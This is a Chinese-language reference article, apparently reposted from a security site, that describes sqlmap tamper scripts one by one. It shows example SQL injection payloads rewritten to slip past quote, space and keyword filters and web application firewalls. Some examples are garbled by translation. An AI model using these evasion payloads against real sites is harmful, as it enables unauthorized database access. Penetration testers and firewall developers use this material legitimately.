sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。在许多情况下你可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。
本文旨在介绍tamper目录中的大部分插件，其中有的部分网上已经有了。
脚本名：apostrophemask.py
作用：用utf8代替引号
Example:
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("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
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Tested against:
all
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文件名：equaltolike.py
作用：like 代替等号
Example:
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* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
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Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
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脚本名：space2dash.py
作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）
Example:
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('1 AND 9227=9227')
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
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Tested against:
* MSSQL
* SQLite
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脚本名：greatest.py
作用：绕过过滤’>’ ,用GREATEST替换大于号。
Example:
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('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
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Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名：space2hash.py
作用：空格替换为#号 随机字符串 以及换行符
Example:
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* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
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Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
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脚本名：apostrophenullencode.py
作用：绕过过滤双引号，替换字符和双引号。
Example:
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tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
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Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名：halfversionedmorekeywords.py
作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
Example:
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("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
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Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
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脚本名：space2morehash.py
作用：空格替换为 #号 以及更多随机字符串 换行符
Example:
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* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
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Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
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脚本名：appendnullbyte.py
作用：在有效负荷结束位置加载零字节字符编码
Example:
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('1 AND 1=1')
'1 AND 1=1%00'
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Requirement:
* Microsoft Access
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脚本名：ifnull2ifisnull.py
作用：绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
Example:
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('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
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Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
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脚本名：space2mssqlblank.py(mssql)
作用：空格替换为其它空符号
Example:
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* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
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Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
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# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
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脚本名：base64encode.py
作用：用base64编码替换
Example:
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("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
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Requirement:
all
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脚本名：space2mssqlhash.py
作用：替换空格
Example:
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('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
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Requirement:
* MSSQL
* MySQL
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脚本名：modsecurityversioned.py
作用：过滤空格，包含完整的查询版本注释
Example:
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('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
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Requirement:
* MySQL
Tested against:
* MySQL 5.0
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脚本名：space2mysqlblank.py
作用：空格替换其它空白符号(mysql)
Example:
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* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
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Requirement:
* MySQL
Tested against:
* MySQL 5.1
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# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# - A0 - (MySQL only)
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脚本名：between.py
作用：用between替换大于号（>）
Example:
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('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
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Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名：modsecurityzeroversioned.py
作用：包含了完整的查询与零版本注释
Example:
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('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
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Requirement:
* MySQL
Tested against:
* MySQL 5.0
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脚本名：space2mysqldash.py
作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
91ri.org注：之前有个mssql的 这个是mysql的
Example:
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('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
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Requirement:
* MySQL
* MSSQL
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脚本名：multiplespaces.py
作用：围绕SQL关键字添加多个空格
Example:
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('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
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Tested against:
all
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脚本名：space2plus.py
作用：用+替换空格
Example:
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('SELECT id FROM users')
'SELECT+id+FROM+users'
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Tested against:
all
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脚本名：bluecoat.py
作用：代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
Example:
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('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
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Tested against:
* MySQL 5.1, SGOS
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脚本名：nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters
Example:
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('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
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Tested against:
all
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脚本名：space2randomblank.py
作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集
Example:
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('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
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Tested against:
all
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脚本名：percentage.py
作用：asp允许每个字符前面添加一个%号
Example:
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* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
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Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
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脚本名：sp_password.py
作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
Example:
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('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
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Requirement:
* MSSQL
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脚本名：chardoubleencode.py 双url编码(不处理以编码的)
Example:
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* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
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脚本名：unionalltounion.py
作用：替换UNION ALL SELECT UNION SELECT
Example:
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('-1 UNION ALL SELECT')
'-1 UNION SELECT'
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Requirement:
all
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脚本名：charencode.py
作用：url编码
Example:
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* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
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Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
- Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
- The web server will anyway pass the url-decoded version behind,hence it should work against any DBMS
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脚本名：randomcase.py
作用：随机大小写
Example:
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* Input: INSERT
* Output: InsERt
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Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名：unmagicquotes.py
作用：宽字符绕过 GPC addslashes
Example:
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* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
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Notes:
- Useful for bypassing magic_quotes/addslashes feature
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脚本名：randomcomments.py
作用：用/**/分割sql关键字
Example:
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‘INSERT’ becomes ‘IN//S//ERT’
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脚本名：versionedkeywords.py
作用：Encloses each non-function keyword with versioned MySQL comment
Example:
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* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
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Requirement:
* MySQL
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脚本名：charunicodeencode.py
作用：字符串 unicode 编码
Example:
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* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
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Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
- Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset
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脚本名：securesphere.py
作用：追加特制的字符串
Example:
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('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
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Tested against:
all
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脚本名：versionedmorekeywords.py
作用：注释绕过
Example:
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* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
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Requirement:
* MySQL >= 5.1.13
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脚本名：space2comment.py
作用：Replaces space character (‘ ‘) with comments ‘/**/’
Example:
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* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
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Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
- Useful to bypass weak and bespoke web application firewalls
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脚本名：halfversionedmorekeywords.py
作用：关键字前加注释
Example:
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* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
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Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
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原文地址：http://www.91ri.org/7852.html
